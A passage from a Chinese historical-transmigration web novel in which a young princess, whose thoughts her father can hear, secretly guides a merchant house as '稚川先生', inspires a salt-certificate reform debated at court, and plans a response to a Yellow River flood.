作为一个拥有现代灵魂的历史系学霸,她深知除金钱外情报的重要性,她更渴望拥有完全属于自己的力量。
没想到,这个契机很快就来临了。
第28章 镇国公主要进军商界?
元嘉二十八年,镇国安宁公主姜稚五岁了。
此时的她,已不再是那个只能通过心声“吐槽”的奶娃娃。
她不仅口齿伶俐,思维敏捷,还拥有远超同龄人的洞察力。
姜稚至今都不知道自己的心声能被父亲听见,只觉得自己运气颇好。
每次爹爹似乎总能与她“心有灵犀”。
她许多模糊的念头,不仅总能在爹爹那里得到完善并付诸实践,而且效果往往出奇地好。
这一日,春光正好,姜稚在王府花园里扑蝴蝶玩。
玩累了,她便跑到父亲的书房里,打算找些这个朝代有趣的游记杂谈来看。
书房内,姜肃正在与管家福伯议事。
见姜稚进来,笑着招手让她坐在一旁吃点心。
姜稚一边小口吃着精致的芙蓉糕,一边竖起耳朵听父亲和福伯说话。
他们谈论的似乎是王府名下那个“通达商行”的事情。
“……江南那批云锦,料子是顶好的,但运到北边,价格高昂,富户嫌样式过于柔媚,权贵又觉不够新奇。这批货积压了快三个月不说,还占着库房和本钱,实在棘手。”福伯眉头紧锁。
姜肃沉默半晌后,沉吟道:“降价促销是否可行?”
“老奴试过了,效果甚微。反而有人以为咱们的货品有问题,影响了商行的声誉。”福伯对姜肃的提议摇了摇头。
姜稚听着,小脑袋里下意识地就开始分析起来。
她上辈子虽然是历史系高才生,但还辅修过经济学。
虽不精深,但基本的市场规律和营销概念还是懂的。
【哎呀,这不是一个很简单的市场定位问题嘛!】
【江南云锦在北方受众本来就窄,还按老法子卖当然不行。得细分市场啊!】
【顶级的那几匹,可以重新设计包装,打造成‘限量珍藏版’,专门针对那些追求独一无二的顶级权贵售卖。如果能再给这些布料编造几段动人的故事,相信可以把他们的价格炒得更高。】
【至于其他的布料...可以找巧手裁缝,做成符合北方审美的成衣款式,或者拆了做高级配饰、扇套什么的,走差异化路线。】
【对了!还可以搞个‘买云锦送北方皮货’的捆绑销售,弄点噱头……】
姜稚在心里嘀嘀咕咕,想得入神,没注意到父王姜肃端茶的手顿了一下,眼中闪过一丝极快的惊异和兴奋。
看着女儿逐渐长开的眉眼,姜肃心中突然做了一个大胆的决定。
他没有像之前那样,将女儿的心声润色后再说出来。他决定将主动权都交还到稚儿自己手中。
姜肃放下茶杯,状似随意地望着女儿,“稚儿,你帮爹爹参谋一下,爹爹接下来应该怎么做呢?是低价都卖掉,还是放到仓库里先不用管?”
姜稚没想到父亲会突然发问。
虽然不清楚父亲的用意,但还是将想法在心中斟酌了一下,然后向父亲娓娓道来:
“爹爹,我觉得那批云锦,或许不必急于降价。可从中挑选出纹样最独特、质地最佳的十匹,以紫檀木盒精心包装,附上刺绣大师的签名和独一无二的编号,称为‘江南织造·云锦秘藏’,只对特定身份的贵客开放预订。”
“至于价格嘛……可以比现在翻上三倍。”
福伯听了,当下一愣,“公主说笑了。这些布匹降价都没能卖出去,更何况还涨三成!”
姜稚并没有因为福伯的质疑而不高兴,她从父亲的书案上拿起自己随手放置的布老虎,举例道:
“福爷爷,您看这个布老虎。这种平民之物,跟我同岁的表姐妹们从来不屑去买。而自从听说我有一个嵌着明珠的布老虎,还是在江南专门找人定制的,并且市面上根本买不到之后,我那些姊妹们,可都是抢疯了的。”
福伯像是突然想到什么,眼睛一亮:“公主的意思是...奇货可居!”
姜稚点点头,却没有停歇,反而继续道:
“剩余的云锦,咱们可寻京城有名的秀坊合作,由他们设计几款融合南北风格的新式成衣,但是由我们
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提供布匹制作。以后按照售卖成衣的利润分成。”
“再拨出一部分,制成手帕、香囊、扇面等精巧物件,放在商行附设的雅阁中售卖。”
“对了,咱们也可尝试与北方的皮货搭配,做成‘江南风雅礼盒’,或许会有新的市场。”
这一套组合拳下来,福伯听得心头一热,连声道:“公主此策甚妙!老奴怎就没想到!如此一来,不仅货能卖出,利润反而可能更高!公主果然聪慧!”
姜肃微微一笑,将桌上的小糕点塞到女儿口中,当做奖励,心中也是波澜起伏。
“福伯,就按稚儿说的办吧。”姜肃一锤定音。
福伯迅速领命去办。
临去前,他偷偷打量了一下自家小公主,心中对“福娃”的能力更是震惊。
此事过后,那批积压的云锦按照姜稚的策略果然销售一空。
特别是那十匹“秘藏版”,竟被炒成了身份的象征,利润惊人。
“通达商行”的名声在高端客户中打响了一炮。
这次成功,让姜肃最终下定了决心。
女儿拥有如此“天赋”,绝不能埋没于后宅,更不能只依赖于他偶尔的“心有灵犀”来展现。
他需要建立一个更稳定、更隐秘的渠道,让女儿的智慧能直接施展在商行或是任何她想尝试的地方,但必须在完美隐藏她身份的同时还能保护她的安全。
于是,原本在心中一个早已成型的大胆的计划,姜肃准备着手开始实施。
他召来了心腹福安。
福安是福伯之子,年轻机敏。
自小读书,对数字敏感,一直帮着福伯打理雍王府的琐碎事务,且对雍王府绝对忠诚。
书房内,烛火摇曳。
姜肃神色郑重:
“福安,从今日起,你卸去王府所有职司,全面接手‘通达商行’明面运营,担任大掌柜。”
“但真正的决策者,并非本王,也非你的父亲。”
福安闻言惊愕抬头。
“真正的决策者,名为‘稚川先生’!”
第29章 为女儿安排一个小马甲
书房内,雍王姜肃跟福安的对话还在继续。
而雍王接下来的话,让福安更为震惊
“福安,商行真正的决策者,并非本王,也非福伯。有一位隐士高人,名为‘稚川先生’,她将是商行的真正决策者。”
“此人机敏聪慧,算无遗策。你需绝对服从她的指令行事,并将商行所有事务,无论巨细,定期向她汇报。”
“此人的指令,初期会由本王转达,日后或有他法传递。你要做的,是完美执行。”
“你记住,除了本王和你们父子外,绝无第四人知晓稚川先生出自雍王府。所以对外,你便是商行唯一的负责人。”
“稚川先生?”
福安喃喃重复道,心中充满了好奇与敬畏。能被王爷如此推崇,此人该是何等风采?
“没错。”姜肃点头,“日后商行大小决策,皆需请示‘稚川先生’。你且记住,见‘先生’指令,如见本王。”
福安虽心中巨震,但出于对雍王府的绝对忠诚,以及父亲的叮嘱,他毫不犹豫地跪地叩首:
“福安领命!定不负王爷与‘稚川先生’重托!”
从这一天起,“稚川先生”这个神秘的名号,开始成为“通达商行”的灵魂。
而福安,则作为“稚川先生”的代言人和执行人,出现在世人面前。
最初的指令,是由姜肃本人传递。
姜肃会以考较女儿学问、引导她思考为名,将商行遇到的一些难题,通过闲聊的方式告诉她。
然后再以“稚川先生有所指示”为名,将女儿给出的对策,下达给福安。
福安起初对那些闻所未闻的“营销策略”将信将疑,但很快他就发现,通过“稚川先生”的方法,不仅能快速解决问题,还能给商行带来惊人收益。
福安对这位素未谋面的高人,越发佩服得五体投地。
而姜稚对此事一无所知。
她只觉得父亲似乎在经商方面越来越“开窍”。
看到商行越来越好,她也感到十分高兴。
时光飞逝,姜稚六岁、七岁……
姜稚主动要求看更多的书,尤其是各地风物志、游记等。
她如饥似渴地吸收着这个时代的信息,更透彻地了解这个朝代的风土人情、地理文化。
姜稚深知,她的到来,已经改变了这个朝代的行动轨迹,往后要想有更大的收获,并且护住雍王府,还是要依靠知识和智慧。
而姜肃这边也开始尝试,让女儿更“直接”地参与到商行的经营运行中。
他将一些商行文书“无意间”放在姜稚能看到的地方观察她的反应。
果然,姜稚每每看到那些关于货物周转、价格变动、各地物产的商行文书,都是兴致勃勃。
每次看完后,姜稚就会结合自己掌握的信息,开始更系统地分析市场。
【今年东风比往年早了半个多月...前两天翻阅爹爹的文书,还看见有人说太湖水位也上涨了,看来梅雨会提前。】
【这桑树最忌多水。梅雨一来,桑叶一黄,蚕宝宝可就不吃了。到时候产的丝少,丝绸量就会减产,那么这丝绸价格肯定会大涨,现在应该把货多囤一些...】
【听说北疆那边已经连下七场“白毛雪”了。草场被埋,牛羊成片冻死...这群北疆人必定会兵行险着,进犯边境来抢夺平民物资...】
【到时候这金疮药之类的药品需求肯定特别大。可以让商行给十三皇叔先送过去一些。一来给商行谋个好名声,二来也避免有人趁机发‘战争财’...】
姜肃会把女儿心声的预测整理出来,以“稚川先生”的名义送信给福安,使商行在买卖上,总会比其他商行动作快上一步,占得先机。
到了姜稚八岁这年,她已经不满足于被动地看文书、提建议。
她渴望更直接地了解商行运作,更主动地施展自己的“才华”。
她开始尝试用自己的笔迹,写下一些对商行事务的看法和建议。
有时是几张画着奇怪符号和线条的“图纸”,有时是一段对某种商品销售策略的“设想”。
姜肃看着女儿那认真又带着期盼的眼神,知道时机成熟了。
他将女儿的想法直接封存,安排了一个专门的渠道单独为福安和女儿传递信息,并告诉福安,如果有问题或看不懂的
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地方,可以直接用这条专线联系。
而女儿这边,姜肃只说是怕她无聊,可以跟掌柜的多通信,了解一下商行的业务和外界的变化,打发一下时间。
自此,“稚川先生”与商行大掌柜福安之间,建立起了一条单线联系的秘密通道。
在姜稚不知晓真相的情况下,她已经开始成为通达商行的领导者。
她不知道,她笔下的每一个字,都被奉为圭臬;
也不知道,“稚川先生”的名号,已然在暗中传开,引起了无数猜测与忌惮;
更不知道,自己正以一种无人知晓的方式,一步步将财富和权力的雪球越滚越大。
而雍王姜肃为防别人眼红自己的财富,早在福安脱离雍王府那天,就将“通达商行”与雍王府做了彻底的“切割”。
不仅将“通达商行”正式更名为“稚川商行”,税收登记人也完全找了一个跟王府八竿子都打不着的外人。
雍王夫妇对外统一口径,“通达商行”原大掌柜携款潜逃,导致商行入不敷出,只能抵账给其他人,面上对那个大掌柜更是痛恨不已。
而在皇家,以各种借口来掩饰自己经营不善倒闭的人比比皆是,大家口头上对雍王安慰几分,心里其实巴不得他在其他地方不顺。
“稚川商行”自此更是彻底放飞。
它的触角已不再局限于盐、粮、药材的交换,慢慢开始涉足了航运、当铺、甚至开始尝试与海外番商进行小额贸易。
商行庞大的利润,一部分通过隐秘的方式转回雍王府,用于府中日益增长的各项开支,另一部分则通过其他渠道,输送到北疆...
姜寒川如今已经凭借赫赫军功升至将军,麾下龙渊军更是威名日盛。
而他与如今的“稚川商行”的联系也愈发紧密,对商行及背后之人对他提供的支持心照不宣。
然而,树大招风。
“稚川商行”的迅速崛起,尤其是其神秘莫测的背景和那位只闻其名、不见其人的“稚川先生”,都引起了越来越多的势力对他的关注和忌惮。
首当其冲的,便是与雍王府已是死敌的窦氏和部分世家。
第30章 姜稚气的要“掀桌”
暮春的京城,空气中弥漫着草木萌发的清新气息,但雍王府的书房内,气氛却凝滞得如同寒冬。
雕花窗棂透进的阳光,在铺着深色绒毯的地面上切割出明暗交错的光斑,却驱不散那无形的压抑。
姜肃端坐在紫檀木大书案后,指尖轻轻敲击着一份份由福安秘密送来的急报。
纸张上,记录着“稚川商行”在各地遭受的明枪暗箭:
江南漕运衙门的刻意刁难,河东盐政司以“稽查”为名的频繁骚扰,甚至一支运载着珍贵蜀锦和药材的商队在途经崎岖山道时,被一群“装备精良、训练有素”的“山匪”劫掠,损失惨重。
这些不再是简单的商业竞争,而是裹胁着血腥味的**绞杀。
姜肃面色沉静如水,但那双日益深邃的黑眸中,已是寒星点点。
世家们这是要联合起来不给商行留活路!
书房另一侧,临窗的梨花木小案边,镇国安宁公主姜稚,正悬腕提笔,临摹着一篇前朝书法大家的帖子。
她身着一件鹅黄色,绣着折枝玉兰的宫绡长裙。
乌黑柔软的发丝挽成双丫髻,各簪了一串细小的珍珠流苏,随着她写字的动作轻轻晃动,映衬得她侧脸如玉,神情专注。
阳光勾勒着她纤细的睫毛,在她白皙的脸颊上投下淡淡的阴影。
任谁看去,这都是一个温柔娴静、不谙世事的皇家贵女。
然而,姜稚此刻的内心世界,却远不如表面这般宁静。
【欺人太甚!漕运衙门故意拖延?河东盐政司没事找事?还有那批蜀锦和药材……】
【我记得,王掌柜的信里还说,护卫张大叔为了保护货物,被那些天杀的‘山匪’砍伤了胳膊,至今还卧床不起!他们怎么敢!】
姜稚的心声带着压抑不住的愤怒和一丝戾气。
她这几年与商行的大掌柜通信时,早已熟悉了里面的每一个人。
张大叔、李掌柜、王伯伯…
这一个个鲜活的名字,为商行上下奋斗着,付出了大量的心血。
她虽未亲历商行的经营,却能感同身受现在大家正经受的这些**与损失。
姜肃看似在处理公文,实则全副心神都在捕捉女儿每一丝细微的“心声”。
听到女儿因护卫受伤而起的愤怒,他心中亦是微微一疼,也坚定了反击的决心。
但眼下还有一个难题,他很想听听女儿的看法和建议。
姜肃状似疲惫地揉了揉眉心,声音不高,却恰好能让窗边的女儿听见:
“树欲静而风不止!商行此番,损失还在其次,关键若是让这些世家知晓盐矿的事,再接机到处攀咬…”
“先不说雍王府将来会如何,单说这些跟商行和盐矿有关的人,一旦将其跟‘私盐’有关的污名坐实,不仅性命危在旦夕,后果也是不堪设想。”
“长此以往,商行人心涣散,多年基业,必将会毁于一旦。”
姜肃的话语充满了忧虑,想到最忧心处,眉头也是紧锁起来。
他的这番话和表情,立刻吸引了姜稚的注意。
她放下毛笔,迈着轻盈的步子走到书案旁,拿起茶壶,帮父亲沏了一杯热茶后,放到父亲手边。
然后仰起那张精致得如同瓷娃娃般的小脸,清澈的眸子里满是关切:
“爹爹,喝杯热茶,别气坏了身子。”
【又是私盐!这帮人就没点新花样吗?把爹爹都气坏了!】
【不能再忍了!必须给他们点颜色看看!】
【现在的盐政早就烂到根子里了。官盐价高质劣,肥了那些蛀虫,但苦了百姓,亏了朝廷!要是能改革……】
【他们不是最喜欢拿‘私盐’说事吗?那就从根本上破了这个局!他们不是喜欢扣‘私盐’的帽子吗?那就直接把盐政的桌子给他掀了!】
女儿带着狠劲的心声,让姜肃更为之侧目。
掀桌子?要如何掀?
而这边,姜稚心念电转。
前世作为历史系高才生所阅览过的那些关于古代盐铁专卖、经济制度的知识,如同被引燃的星火,在她脑海中迅速碰撞、组合、清晰起来。
【就是它了!‘盐引制度’!】
【我记得《明史·食货志》里有记载!就是把食盐的运销权部分放开给商人,官府控制源头和税收……】
一个清晰完整的改革方案,在姜稚的脑海中迅速成型。
她越想越觉
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得可行,眼眸也越来越亮。
“盐引”?
姜肃精神一振,又是一个陌生的词汇。但他本能地觉得,这或许就是破局的关键。
【可是,我如果这样直接说出来,爹爹会不会认为我这个想法很清奇?我又怎么能让爹爹来接受这个办法哪?】
姜稚心里犯了愁,指尖不自觉抓紧了腰间的玉佩,细细摩挲起来。
姜肃这边心里却已经乐开了花。
听着女儿的心声,再看着女儿不知所措的样子,他知道该是他出手,让女儿“主动”开口的时候了。
“稚儿,爹爹看你似乎有什么想说的,书房里就咱们父女二人,你但说无妨。”
姜稚闻言,思忖了半晌,终是下定决心。
她松开了手中的玉佩,将自己的想法对着雍王细细道来。
“爹爹,如果是因为‘私盐’的事,我有一个想法,想跟您请教一下。如果女儿说得不好,爹爹不许笑话稚儿。”
姜稚半是撒娇,半是真诚地说道。
“我觉得,朝廷可以设立一个‘盐引制度’的。”
“具体来说,就是由户部统一印制‘盐引’票据,相当于是朝廷颁发的特许经营凭证和资质。”
“只要商人向官府缴纳足够的银钱或粮食,就可以换取“盐引”。然后凭“盐引”可以到盐场支取食盐,再到指定区域销售。”
“这样一来,朝廷能提前得到盐税,保证了收入;商人获得了合法经营的权利,不用再担惊受怕;关键是中间环节减少了,盐价还能降下来,惠及百姓。”
“这简直是一举多得!”
“当然,具体操作细节要细化,比如盐引票据的分区、定价、防伪标志什么的…”
姜稚沉浸在第一次主动“分享”想法的喜悦里。
她口中那一个个操作细节,如同涓涓细流,缓缓汇入姜肃的心湖中。
甚至如何利用这套新制度,反过来清查旧盐政下的贪腐……姜稚都说得清清楚楚。
姜肃越听,心中越是惊涛骇浪!
女儿或许不知,她这套理论一旦发出,将会在朝堂上掀起怎么样的腥风血雨。
但这次,盐政是真的要被“掀桌”了!
第31章 盐引制被抬上桌面
雍王府,书房内。
姜肃听了女儿的方案,眼睛越来越亮。
妙啊!
这“盐引法”简直是直指盐政弊端的利剑!
若能推行,不仅可以从根本上打击依靠旧盐政牟利的世家,还能彻底洗脱商行“私盐”的嫌疑,将其正式纳入合法经营。
姜肃强压下几乎要溢于言表的激动,手指因用力而微微泛白。
面上却依旧维持着那副愁眉不展的模样,甚至顺着女儿的“思路”,故意提出几个可能的漏洞和反对意见。
而姜稚立刻给出了更完善的说辞和应对策略,逻辑严密,掷地有声。
她甚至想到了可以利用商行先行降价,制造**,争取民心的具体操作!
这一刻,姜肃清晰地认识到,他不需要再有任何犹豫。女儿已经为他铺就了一条最辉煌、最正确的反击之路!
数日后,庄严而压抑的金銮殿上。
当国库空虚的议题再次被提起,各方争论不休时,姜肃整理了一下亲王**袍的衣襟,稳步出列。
他身姿挺拔,目光沉静。
“父皇,儿臣有本奏。”
姜肃清朗的声音,回荡在大殿之中。
“儿臣近日反思盐政积弊,夜不能寐,偶从古籍中得一法,或可解当前之困,充盈国库,惠及黎民。”
此话一出,所有人的目光都聚焦在他身上。
尤其是王珣和其他一些世家出身的官员,眼神也愈发锐利和警惕起来。
皇帝姜桓抬了抬手:“讲。”
“儿臣此法,名为‘盐引制’。”
姜肃从容不迫,将姜稚之前与他谈论内容中的精华,结合自己的理解,在朝堂上细细道来。
他详细阐述了盐引制的运作模式和优点。
“……如此一来,朝廷可岁增盐税数百万两,充盈国库,以资国用;商人得合法经营之途,货运流畅;百姓可食贱价洁盐,减轻负担。”
“此乃廓清积弊、泽被苍生之良法,望父皇明察!”
每句话,都像一记重锤,敲在那群依靠旧盐政吸血的人的心上!
雍王姜肃的话音落下,大殿内出现了片刻的死寂。
随即,轰然炸开!朝臣们开始议论纷纷。
王珣第一个跳了出来,脸色铁青,胡子都在颤抖:
“陛下!雍王殿下此言荒谬!盐铁专卖,乃祖宗成法,国之基石!岂可轻言更张,委于商贾之手?此例一开,恐奸商横行,与民争利,臣万死不敢苟同!”
他身后,数名世家出身的官员也纷纷出列。
他们引经据典,激烈反对,声音一个比一个高亢,试图用声势压倒雍王姜肃。
然而,如今的姜肃早已不是当年那个可以被轻易驳倒的闲散王爷。
他凤眸微抬,目光平静地扫过那些激动的人群,如同在看一场拙劣的表演。
“王尚书,”姜肃的声音不高,却清晰地盖过了嘈杂。
“你此言差矣!试行‘盐引制’,但这盐引之权,始终掌握在朝廷手中,何来假手商贾之说?”
“朝廷控制盐引发放数量与区域,盐价岂会失控?”
“说与民争利?如今官盐价高质劣,百姓苦之久矣!但‘盐引制’会引入商贾竞争,至盐价下跌,品质提升,这才是真正的利民!”
“更何况,细算一下,这盐引一旦颁发,每年可为国库增收至少三百万两白银,可用于赈灾、强军、兴修水利…此乃利国利民之良策,何来动摇国本!”
“依本王看,固守陈规,坐视蠹虫啃噬国本,才是真正的取乱之道!”
姜肃逐条反驳,句句在理,气势如虹。
那些反对的声音,在他缜密的逻辑和确凿的数据面前,显得苍白无力。
支持雍王或本就倾向于改革的官员,此刻也找到了主心骨,纷纷出声支持。
朝堂之上,顿时分为两派,争论不休。
皇帝高**,听着双方的辩论,目光深邃。
他素知盐政之弊,也清楚守旧的世家派系反对的真正原因。
雍王姜肃提出的“盐引制”,不仅令人耳目一新,而且直指要害。而多出来的盐政收入,确实可以充盈国库。
皇帝不仅看到了新政背后巨大利益,更看到了借此机会打压世家、巩固皇权的可能。
“肃静。”皇帝终于开口压下争论,声音里满是威严。
大殿瞬间安静下来。
“雍王所奏,
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朕已详听。盐引之制,确有新意。”
“着户部、盐铁司,即刻详议章程,分析利弊,十日内覆奏。”
“在此期间,”说到这儿,皇帝略一停顿,目光锐利地扫过王珣等人,“若有再借‘私盐’之名,无端滋扰正当商旅者,不论何人,严惩不贷!”
皇帝虽然没有立刻推行新政,但态度已然明朗!
“儿臣(臣)遵旨!”
姜肃带头躬身领旨,嘴角勾起弧度。而王珣众人则是一脸灰败。
退朝后,盐引制的消息如同长了翅膀般传遍京城及周边,引起了巨大的轰动。
尤其是在商贾和平民阶层中,更是引发了地震般的反响。
而提出此策的雍王姜肃,声望再次暴涨。
就在朝会争论盐引制的当天下午,“稚川商行”总部门前,已是人山人海。
福安在姜稚的“授意”下,有了新的动作。
一块巨大的、擦拭得一尘不染的黑漆木板被高高竖起,上面张贴着一张以一手漂亮颜体书就的《告京城百姓书》。
文中并未直接指责谁,而是以“稚川商行”近日遭遇的不公为例,痛陈当前营商环境之弊,官吏盘剥之恶,世家垄断之害!
文笔老辣,字字诛心!
接着,笔锋一转,盛赞雍王殿下心系黎民,锐意改革,所献“盐引制”乃利国利民之良法。
最后,商行宣布,为支持朝廷新政,体恤百姓艰辛,商行将先行先试,拿到盐引后,名下所有商铺,盐价下调两成!
并郑重承诺,商行所有经营,合法依规,欢迎各界监督云云。
而落款就是传说中的“稚川先生”!
一石激起千层浪。
此文一出,瞬间点燃了整个京城的情绪!
“稚川先生高义!”
“支持雍王!支持新政!”
“打倒那些喝民血的贪官污吏!”
百姓的欢呼声、议论声,如同海啸般席卷了京城的大街小巷。
“稚川先生”这个名字,伴随着降价的承诺和那篇酣畅淋漓的雄文,一夜之间,深入人心,成为了智慧、魄力与良心的象征!
更是以一种强势无比的姿态,被推到了世人面前。
第32章 竹心轩,父女“密谋”
雍王府,竹心轩。
暖阁内熏着淡淡的梨花香,姜稚正歪在铺着软绒的贵妃榻上,听贴身大丫鬟秋露绘声绘色地描述着外面的盛况。
“公主您是没瞧见!“稚川商行”门口,排队的人都快排到朱雀大街了!人人都在夸稚川先生的善心,说他一出手就办了件大好事!还有人说,这位先生指不定是天上哪位菩萨投胎转世的呢!”
秋露说得眉飞色舞。
姜稚小口啜饮着温热的牛乳茶,闻言,唇角弯起一个甜甜的、带着点小狡黠的弧度。
她放下精致的粉彩瓷杯,用锦帕擦了擦嘴角,声音软糯:
“是吗?那这位稚川先生,确实很了不起呀。”
【看来爹爹和这位‘先生’的执行力超强嘛!我这‘灵光一闪’的点子,居然能掀起这么大风浪!】
【不错不错,既帮爹爹解决了麻烦,又让百姓得了实惠,还顺便教训了那些坏蛋!本公主果然是天生干大事的料!】
她在心底得意地给自己点了个赞,还浑然不知自己就是那个被万众推崇的“稚川先生”。
但在那小小的胸膛里,一种参与并改变了某件大事的成就感,让姜稚整个人都焕发着一种别样的光彩。
姜肃处理完公务回来,恰好看到女儿这副像只偷吃了小鱼干的猫咪般,满足又带着点小骄傲的模样,心中软成一片。
他走过去,轻轻摸了摸女儿的头,语气带着宠溺:“稚儿今日心情似乎很好?”
“嗯!”姜稚用力点头,眼睛亮晶晶的,“听说外面盐价要降了,百姓都很高兴。爹爹,您和那位稚川先生,又为百姓做了一件大好事!”
姜肃看着女儿纯净无邪、却仿佛能洞悉一切的眼睛,微微一笑,意味深长道:“是啊,是一件大好事。这一切,不仅都多亏了‘他’,也是多亏了我的乖女儿。”
父女相视而笑,暖阁内温情流动。
与此同时,窦府府邸,却是另一番光景。
窦贵妃的弟弟,窦国舅气地摔了手中的杯子:
“好一个姜肃!竟然搞出个盐印制!这是要断了我们的财路,把我们往绝路上逼!还有那个什么狗屁稚川先生,这个时候跳出来收买人心!简直岂有此理!”
王珣也是面沉如墨:
“此人不除,他日恐成心腹大患!必须尽快查清他的底细…”
……
盐引制在朝堂引发的波澜尚未完全平息,初夏的第一场暴雨便不期而至,且连绵数日,毫无停歇之意。
绵绵夏雨敲击着竹心轩的窗棂,发出细密而持续的声响。
姜稚斜倚在临窗的湘妃榻上,手中捧着一卷《水经注》,目光却飘向窗外被雨幕笼罩的庭院。
院里那几株芭蕉被雨水洗得碧绿透亮,宽大的叶片承不住水珠的重量,不时“啪嗒”一声,将积蓄的雨水倾泻而下。
姜稚身着藕荷色软绸夏衫,同色系罗裙散在榻上,如一朵初绽的睡莲。
乌黑的长发用一根白玉簪松松挽起,几缕碎发垂在颊边,衬得她肤色愈发莹白。
只是此刻,那双惯常灵动的黑眸里蒙着一层忧色,眉心微微蹙起。
这雨可是下了十天了。
丫鬟秋露端着红漆托盘进来,上面是一碗冰镇过的冰糖燕窝羹,剔透的琉璃碗壁上还凝着细细的水珠。
“公主,用些羹吧,您午膳就没怎么动。”
姜稚收回目光,轻轻摇头:“先放着吧。”声音里带着与年龄不符的沉静。
她确实吃不下。
爹爹近日越发忙碌。
盐引制的具体章程在户部和盐铁司吵得不可开交。
爹爹作为提议者和执行参与者,不得不耗费大量心力周旋其中,平衡各方利益,推动细则尽快运行。
同时,“稚川商行”凭借那篇雄文和降价的承诺,不仅提升了自身的口碑,生意更是火爆非常。
听说商行内的掌柜跟伙计们,每天忙得脚不沾地,但看到账面上不断攀升的数字,以及到手的福利,也足以抚平一切疲惫。
然而,这场罕见的大雨,却让姜稚心中蒙上了阴影。
三天前,爹爹下朝回来,眉宇间带着罕见的凝重。
他与几名工部官员在书房里低语良久。
虽然没参与到其中,但她还是从仆役们小心翼翼的议论和府中隐隐加派的守卫中,
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嗅到了不寻常的气息。
后来,她“无意间”在父亲的书房看到了摊开的邸报,上面赫然写着“黄河水涨”“豫州告急”等字样。
【黄河…元嘉三十一年夏…决口…三府十八县…】
前世中的记忆碎片与眼前的文字重合,让姜稚心头发紧。
那本野史小说里关于这场大水的记载虽然只有寥寥数语,但当时“饿殍遍野”“易子而食”等词句带来的冲击,至今让她心悸。
她知道,这已经不是故事,而是即将发生的、活生生的人间惨剧。
秋露见姜稚神色恹恹,小心劝道:“公主是在担心外头的大雨?王爷定有他的安排,您年级小,不用操心这些。但是这羹多少要用一点,不然王妃该心疼了。”
正说着,门外传来熟悉的脚步声。
姜肃一身石青色常服走进来,肩头还带着湿气,显然是刚从外面回来。
他挥手让秋露退到一边,走到榻边坐下,伸手摸了摸女儿的额头:“怎么了?脸色不大好。”
姜稚放下书卷,仰起小脸,直直看向父亲:“爹爹,黄河是不是要发大水了?很严重吗?”
她的目光清澈而执着,不再是孩童单纯的疑问,而是一种寻求真相的探询。
姜肃沉吟片刻,再对上女儿的眼睛时,语气中没有丝毫敷衍:
“是,雨势太大,黄河多处水位已超警戒,豫州情况尤其危急。朝廷正在想办法。”
【仅仅是‘想办法’怎么够!等朝廷层层讨论、拨钱拨粮,洪水早就冲垮堤坝了!必须立刻行动!】
姜稚的心声急切起来。
【我记得历史上应对这种紧急险情,除了加固堤防,最重要的是提前疏散低洼地区的百姓,要准备充足的沙袋、木料、船只…】
【还有,要建立有效的讯报传递系统,一旦险情加剧,能立刻反应!】
这些念头在姜稚脑海中飞速流转,手指无意识地攥紧了手中的书卷,指节微微发白。
姜肃将女儿的反应尽收眼底,心中既欣慰又沉重。
欣慰的是女儿心怀苍生,聪慧敏锐;沉重的是她所忧虑的,正是最棘手的现实。
第33章 小点子生成器,正在加工中
竹心轩内。
姜稚不自觉地把玩着腰间的玉佩,看似天真地询问起来:
“爹爹,黄河为什么老是泛滥呀?不能让它听话吗?”
姜肃笑笑,摸了摸女儿的小脑袋,解释道:
“工部的伯伯们说,这黄河水势汹涌。河水奔流时,会携带大量泥沙,而到了中下游,待水势平缓时,泥沙就会沉积,导致河床被抬高,慢慢的它就变成了‘地上河’。”
“一旦洪水来袭,这‘地上河’就容易决口改道。要想让它‘听话’,难啊!”
【原来这个时代的人已经知道‘地上河’的概念了!难怪现代时,国家一直号召植树造林,目的就是要保护上游水土,从根源上减少泥沙,这才是治本之策啊!】
【既然泥沙是关键,工部的人又知道‘地上河’的原理,那完全可以采用‘束水攻沙’的原理来治理黄河。】
【说白了,其实就是收紧河道,提高水流速度,用水的力量把泥沙冲走,避免淤积!】
姜稚的心声再次提供了至关重要的治理思路。
虽然细节模糊,但“束水攻沙”,“植树造林”这些关键词,如同黑暗中的烛火,为迷茫的治河指明了方向。
姜肃心中豁然开朗!
似是又想到什么,他放缓声音,像是自语,又像是说给女儿听:
“其实最难进行的还是疏散百姓。”
“所谓故土难离,官府人力又有限。还有国库…唉!尤其这讯息不畅。地方上报,朝廷决策,再层层下达,耽搁太多时间。”
姜稚听了父亲的话,嘴唇也抿成一条直线。
【故土难离?那就晓以利害,强制疏散!】
【人力不够?可以发动当地乡绅、宗族力量,许以事后表彰甚至实惠!】
【物资匮乏…钱!说到底还是钱和物资调拨的问题!】
【至于讯息不畅…如果有更快的传递方式就好了!比如训练好的信鸽?或者沿河设立烽燧,有水患风险的时候,立刻点火示意?】
姜稚的思绪飞快转动,前世所学的历史知识和看过的水利案例在她的脑海中翻腾。
一个个点子在她心头冒出,虽然有些天真,还有的有些超出时代局限,但核心思路却清晰而锐利——
那就是与时间赛跑,动用一切可动用的力量,打破常规!
姜肃听着女儿心中那些陌生的词汇和急切的想法,眼中光芒闪烁。
女儿有办法!至少,已经抓住了方向!
姜稚突然想到什么,快速从榻上下来,连鞋都未穿好就蹬蹬蹬跑到书案前。
秋露连忙拿着绣鞋追过来,她却浑然不在意,小手已经铺开一张宣纸,抓起常用的紫毫笔,就开始画起来。
“稚儿?”姜肃跟过来。
姜稚头也不抬,蘸了墨,开始在白纸上勾画。
她的手还小,握笔却稳。线条虽然稚拙,但意图明确。
她画了一条蜿蜒的曲线代表黄河,按照前世记忆和刚刚看过的《水经注》,在几个关键点标上圈。
“这里,这里,还有这里,”她用笔尖点着,“是最容易出事的地方,要重点盯着。”
接着,落笔又画了几个分散的方块。
“这些是附近的城镇、村庄,要立刻派人去,敲锣打鼓,甚至…让衙役帮着搬家,先搬到高处去!告诉他们,水退了再回来,房子淹了朝廷…呃,官府帮着修!”
姜稚语气急促,但里面却是满满的指挥感,仿佛她现在不是八岁女童,而是久经沙场的将领。
姜肃看着女儿专注的侧脸。
那微微颤动的睫毛,紧抿的唇线,还有因为用力握笔而泛白的指尖,心中满是心疼和欣慰。
这幅稚嫩的“防汛图”,这份果断的判断力,还有背后蕴含的决断力和对紧急事务的处理思路…
稚儿年纪小小,就已经心怀天下,自己这个女儿果然是上天派下来的“福星”,一出手就不同凡响。
“还有,”姜稚放下笔,转身抓住父亲的衣袖,仰着脸,眼神灼灼。
“爹爹,朝廷的钱粮慢,我们能不能…先想办法?就像上次赈灾那样,找商人捐?不,这次可能等不及慢慢募捐了…”
“稚川先生!”
